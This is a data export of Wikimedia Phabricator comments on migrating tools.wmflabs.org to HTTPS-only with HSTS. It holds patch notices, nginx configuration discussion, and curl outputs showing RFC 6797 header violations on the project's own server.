+1546411,Migrate tools.wmflabs.org to https only (and set HSTS),"{nav icon=file, name=Mentioned in SAL (#wikimedia-cloud), href=https://sal.toolforge.org/log/9uSbXXMBv7KcG9M-svo0} [2020-07-17T16:29:10Z] <bd808> Disabled Puppet on tools-proxy-06 to test nginx config changes manually (T102367)",,,1595003352,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,263,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1546403,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 612947 **merged** by Andrew Bogott:
+[operations/puppet@production] toolforge: Set Strict-Transport-Security to 366 days
+
+https://gerrit.wikimedia.org/r/612947",,,1595001971,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,263,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1545075,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 612948 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
+[operations/puppet@production] toolforge: Perform HTTPS redirects unconditionally
+
+https://gerrit.wikimedia.org/r/612948",,,1594845351,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,262,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1545074,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 612947 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
+[operations/puppet@production] toolforge: Set Strict-Transport-Security to 366 days
+
+https://gerrit.wikimedia.org/r/612947",,,1594845350,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,262,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1526471,Migrate tools.wmflabs.org to https only (and set HSTS),Last step is to set HSTS to 1 year and then close this.,,,1592326655,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,258,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+1497305,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 593747 **merged** by Arturo Borrero Gonzalez:
+[operations/puppet@production] toolforge: Increase HSTS max-age directive to one month
+
+[[https://gerrit.wikimedia.org/r/593747]]",,,1588694944,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,252,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1495111,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#6100529, @QEDK wrote:
+> 
+> I don't disagree that we should manage it at the proxy layer, I meant to ask that if a tool was supplying it's own header, then ideally the proxy should suppress supplying one.
+
+Ah! The inverse of what my brain interpreted the original question as. Sorry about that confusion. I thought we were already doing that hiding, but upon checking the config we are not. I would agree that yes we should be for the reasons I outlined in T102367#6100515. I think the ""right"" way to do this with the current urlproxy nginx config would be to add a `proxy_hide_header Strict-Transport-Security;` directive right after the current `add_header Strict-Transport-Security ""max-age=..."";` directive.",,,1588355930,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,252,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1
+1495073,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#6100515, @bd808 wrote:
+>>>! In T102367#6100153, @QEDK wrote:
+>> Also, is there any way for the nginx proxy to hide the header if a tool chooses to send their own?
+> 
+> Technically this would be possible, but in practice it would not be useful for the legacy tools.wmflabs.org proxy (the subject of this particular ticket). The reason it would not be useful is that this is a single hostname and thus subject to a single HSTS policy. If N different tools sent out N different headers that would be confusing to receiving user-agents and more so to crawlers that hit many different tools.
+> 
+> Even for the new $TOOL.toolforge.org scheme, controlling the HSTS header at the shared proxy layer rather than at the tool layer makes more sense. User facing TLS is managed at the shared proxy, which means the certificates and cipher suites are managed at the shared proxy. The HSTS header should continue to be manged at that level to ensure that these things all make sense when taken as a collective system.
+
+I don't disagree that we should manage it at the proxy layer, I meant to say that if a tool was supplying it's own header, then ideally the proxy should not supply one, now that we are moving to a host-based URL naming.",,,1588352488,,PHID-USER-wel3wo6tppcxgnrthxls,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,252,True,1,0,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,1,0,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+1495072,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#6100515, @bd808 wrote:
+>>>! In T102367#6100153, @QEDK wrote:
+>> Also, is there any way for the nginx proxy to hide the header if a tool chooses to send their own?
+> 
+> Technically this would be possible, but in practice it would not be useful for the legacy tools.wmflabs.org proxy (the subject of this particular ticket). The reason it would not be useful is that this is a single hostname and thus subject to a single HSTS policy. If N different tools sent out N different headers that would be confusing to receiving user-agents and more so to crawlers that hit many different tools.
+> 
+> Even for the new $TOOL.toolforge.org scheme, controlling the HSTS header at the shared proxy layer rather than at the tool layer makes more sense. User facing TLS is managed at the shared proxy, which means the certificates and cipher suites are managed at the shared proxy. The HSTS header should continue to be manged at that level to ensure that these things all make sense when taken as a collective system.
+
+I don't disagree that we should manage it at the proxy layer, I meant to ask that if a tool was supplying it's own header, then ideally the proxy should suppress supplying one, now that we are moving to a host-based URL naming.",,,1588352459,,PHID-USER-wel3wo6tppcxgnrthxls,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,252,True,1,0,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,1,0,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+1495071,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#6100515, @bd808 wrote:
+>>>! In T102367#6100153, @QEDK wrote:
+>> Also, is there any way for the nginx proxy to hide the header if a tool chooses to send their own?
+> 
+> Technically this would be possible, but in practice it would not be useful for the legacy tools.wmflabs.org proxy (the subject of this particular ticket). The reason it would not be useful is that this is a single hostname and thus subject to a single HSTS policy. If N different tools sent out N different headers that would be confusing to receiving user-agents and more so to crawlers that hit many different tools.
+> 
+> Even for the new $TOOL.toolforge.org scheme, controlling the HSTS header at the shared proxy layer rather than at the tool layer makes more sense. User facing TLS is managed at the shared proxy, which means the certificates and cipher suites are managed at the shared proxy. The HSTS header should continue to be manged at that level to ensure that these things all make sense when taken as a collective system.
+
+I don't disagree that we should manage it at the proxy layer, I meant to ask that if a tool was supplying it's own header, then ideally the proxy should suppress supplying one.",,,1588352383,,PHID-USER-wel3wo6tppcxgnrthxls,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,252,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+1495063,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#6100153, @QEDK wrote:
+> Also, is there any way for the nginx proxy to hide the header if a tool chooses to send their own?
+
+Technically this would be possible, but in practice it would not be useful for the legacy tools.wmflabs.org proxy (the subject of this particular ticket). The reason it would not be useful is that this is a single hostname and thus subject to a single HSTS policy. If N different tools sent out N different headers that would be confusing to receiving user-agents and more so to crawlers that hit many different tools.
+
+Even for the new $TOOL.toolforge.org scheme, controlling the HSTS header at the shared proxy layer rather than at the tool layer makes more sense. User facing TLS is managed at the shared proxy, which means the certificates and cipher suites are managed at the shared proxy. The HSTS header should continue to be manged at that level to ensure that these things all make sense when taken as a collective system.",,,1588351726,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,252,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+1495007,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#6064559, @bd808 wrote:
+> We have left the POST loophole open for more than a year. Now that we have introduced [[https://wikitech.wikimedia.org/wiki/News/Toolforge.org|the *.toolforge.org naming scheme]] (T234617), I think we should close the POST loophole, turn up the HSTS duration, and as a side effect fix the RFC violation reported in T102367#5056919.
+
+We should gradually work towards the one-year max-age imo. Also, is there any way for the nginx proxy to hide the header if a tool chooses to send their own?",,,1588347043,,PHID-USER-wel3wo6tppcxgnrthxls,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,252,True,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,1,0,1
+1495003,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 593747 had a related patch set uploaded (by QEDK; owner: QEDK):
+[operations/puppet@production] toolforge: Increase HSTS max-age directive to one month
+
+[[https://gerrit.wikimedia.org/r/593747]]",,,1588346493,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,252,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1486563,Migrate tools.wmflabs.org to https only (and set HSTS),"We have left the POST loophole open for more than a year. Now that we have introduced [[https://wikitech.wikimedia.org/wiki/News/Toolforge.org|the *.toolforge.org naming scheme]] (T234617), I think we should close the POST loophole, turn up the HSTS duration, and as a side effect fix the RFC violation reported in T102367#5056919.",,,1587078915,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,250,True,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1
+1260565,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#5056919, @Vgutierrez wrote:
+> Currently tools.wmflabs.org is violating [[ https://tools.ietf.org/html/rfc6797#section-7.2 | RFC 6797 section 7.2 ]] by sending the HSTS header over HTTP:
+
+My attempt at fixing this in https://gerrit.wikimedia.org/r/499669 was reverted in https://gerrit.wikimedia.org/r/#/c/operations/puppet/+/502308/.
+
+Reasons for the revert:
+# @bd808 did not actually test the nginx config changes and they were not syntactically correct.
+# @bd808 did not remember that this exact same syntax problem is why we have the header sent over http in the first place. (See https://gerrit.wikimedia.org/r/#/c/operations/puppet/+/432935/ and its replacement in https://gerrit.wikimedia.org/r/#/c/operations/puppet/+/482142/).
+
+We can't use the `if` construct in nginx config to guard the `add_header` setting. This in turn means that the entire nginx config used by domain-proxy and url-proxy will need to be rewritten if we want to ensure that the STS header is only presented to TLS secured connections. The current config for both mixes http and https handling in the same `server` config block leaving us no way to decide whether or not to emit the STS header. Splitting http and https into separate `server` blocks and only placing the STS header in the https server will fix that problem. It will require some mechanism to duplicate almost all of the other logic in the current config as long as we continue to support the POST loophole however.",,,1554765291,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,196,True,1,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,1,1,1,1,0,1,1,0,0,1
+1260345,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 499669 **merged** by Bstorm:
+[operations/puppet@production] dynamicproxy: Prevent STS header from non-TLS connections
+
+[[https://gerrit.wikimedia.org/r/499669]]",,,1554749037,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,196,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1252615,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 499669 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
+[operations/puppet@production] dynamicproxy: Prevent STS header from non-TLS connections
+
+[[https://gerrit.wikimedia.org/r/499669]]",,,1553724891,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,194,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1252587,Migrate tools.wmflabs.org to https only (and set HSTS),"{nav icon=file, name=Mentioned in SAL (#wikimedia-cloud), href=https://tools.wmflabs.org/sal/log/AWnBIQbWIm9Dp5A3nWNs} [2019-03-27T21:49:20Z] <bd808> Updated to a03551b (Remove STS header and http->https redirect) T102367",,,1553723361,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,194,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1252476,Migrate tools.wmflabs.org to https only (and set HSTS),"Live config from tools-proxy-03.tools.eqiad.wmflabs shows only the `add_header Strict-Transport-Security ""max-age=86400"";` in the nginx config. Looking at the logic of how I added that, I think I assumed (incorrectly apparently) that the `return 301 https://$host$request_uri;` redirect would stop all further processing of the request. It should be possible to adjust the logic so that this header is only sent when the connection is using TLS.
+
+The `Strict-Transport-Security: max-age=86400; includeSubDomains` header is actually being sent by the ""admin"" application ({R1922:7be2a095ce41c2b4e8aa8abe99760afdee131f90}). This is a leftover from the experiments prior to adding this header at the proxy level. We should remove this from the app. We should probably also add a `proxy_hide_header Strict-Transport-Security;` config line to the proxy to keep any other tool from sending arbitrary STS headers to the client.",,,1553717213,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,194,True,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+1250898,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#5057208, @aborrero wrote:
+> I assume this is something in our nginx proxy, right? @Vgutierrez Could you please help us review the config?
+
+so from a quick review of https://gerrit.wikimedia.org/r/plugins/gitiles/operations/puppet/+/production/modules/dynamicproxy/templates/domainproxy.conf, line 56 is responsible of sending the HSTS header twice over HTTPS as the HSTS header is also set as part of line 39.
+I assume that line 56 again is responsible for sending the header over HTTP as the same virtualhost is being used for serving http and https traffic",,,1553596294,,PHID-USER-cfx2ss3r7ptjynotxt5l,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,194,True,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,0,0,1
+1250887,Migrate tools.wmflabs.org to https only (and set HSTS),"I assume this is something in our nginx proxy, right? @Vgutierrez Could you please help us review the config?",,,1553595465,,PHID-USER-yue54ihblxe4zj3mpohv,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,194,True,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,1,1,0,0,0,1,0,0,0,0
+1250790,Migrate tools.wmflabs.org to https only (and set HSTS),"It's also violating [[ https://tools.ietf.org/html/rfc6797#section-7.1 | RFC 6797 section 7.1 ]] by sending the HSTS header twice over HTTPS:
+
+
+> If an STS header field is included, the HSTS Host MUST include only one such header field.
+
+```
+curl --http1.1 -v https://tools.wmflabs.org -o /dev/null
+* Rebuilt URL to: https://tools.wmflabs.org/
+Trying 185.15.56.5...
+* TCP_NODELAY set
+* Connected to tools.wmflabs.org (185.15.56.5) port 443 (#0)
+[output omitted]
+> GET / HTTP/1.1
+> Host: tools.wmflabs.org
+> User-Agent: curl/7.54.0
+> Accept: */*
+>
+< HTTP/1.1 200 OK
+< Server: nginx/1.13.6
+< Date: Tue, 26 Mar 2019 06:22:52 GMT
+< Content-Type: text/html; charset=UTF-8
+< Content-Length: 8719
+< Connection: keep-alive
+< Set-Cookie: _s=eclunr0i35p2nebqbnq70venbf; path=/; HttpOnly
+< Vary: Cookie
+< X-Frame-Options: DENY
+< Content-Security-Policy: default-src 'self' https://tools-static.wmflabs.org; child-src 'none'; object-src 'none'; img-src 'self' data: https://tools-static.wmflabs.org
+< Strict-Transport-Security: max-age=86400; includeSubDomains
+< Strict-Transport-Security: max-age=86400```",,,1553581638,,PHID-USER-cfx2ss3r7ptjynotxt5l,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,194,True,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+1250789,Migrate tools.wmflabs.org to https only (and set HSTS),"Currently tools.wmflabs.org is violating [[ https://tools.ietf.org/html/rfc6797#section-7.2 | RFC 6797 section 7.2 ]] by sending the HSTS header over HTTP:
+
+
+> An HSTS Host MUST NOT include the STS header field in HTTP responses conveyed over non-secure transport.
+
+```
+$ curl -v http://tools.wmflabs.org
+* Rebuilt URL to: http://tools.wmflabs.org/
+*   Trying 185.15.56.5...
+* TCP_NODELAY set
+* Connected to tools.wmflabs.org (185.15.56.5) port 80 (#0)
+> GET / HTTP/1.1
+> Host: tools.wmflabs.org
+> User-Agent: curl/7.54.0
+> Accept: */*
+>
+< HTTP/1.1 301 Moved Permanently
+< Server: nginx/1.13.6
+< Date: Tue, 26 Mar 2019 06:13:57 GMT
+< Content-Type: text/html
+< Content-Length: 185
+< Connection: keep-alive
+< Location: https://tools.wmflabs.org/
+< Strict-Transport-Security: max-age=86400
+```
+",,,1553581206,,PHID-USER-cfx2ss3r7ptjynotxt5l,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,194,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+1203474,Migrate tools.wmflabs.org to https only (and set HSTS),Conditional redirect is live and announced at https://phabricator.wikimedia.org/phame/post/view/132/migrating_tools.wmflabs.org_to_https/,,,1546549926,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,183,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+1203458,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 482142 **merged** by Andrew Bogott:
+[operations/puppet@production] toolforge: Redirect GET & HEAD to https (take 2)
+
+[[https://gerrit.wikimedia.org/r/482142]]",,,1546549154,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,183,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1203432,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 482142 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
+[operations/puppet@production] toolforge: Redirect GET & HEAD to https (take 2)
+
+[[https://gerrit.wikimedia.org/r/482142]]",,,1546547874,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,183,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1203391,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 432935 **merged** by Andrew Bogott:
+[operations/puppet@production] toolforge: Redirect GET & HEAD to https
+
+[[https://gerrit.wikimedia.org/r/432935]]",,,1546545617,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,183,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1203226,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 481979 **merged** by Andrew Bogott:
+[operations/puppet@production] toolforge: Redirect tools-static to https
+
+[[https://gerrit.wikimedia.org/r/481979]]",,,1546532146,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,183,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1202962,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 481979 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
+[operations/puppet@production] toolforge: Redirect tools-static to https
+
+[[https://gerrit.wikimedia.org/r/481979]]",,,1546480194,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,183,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1067674,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 432935 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
+[operations/puppet@production] toolforge: Redirect GET & HEAD to https
+
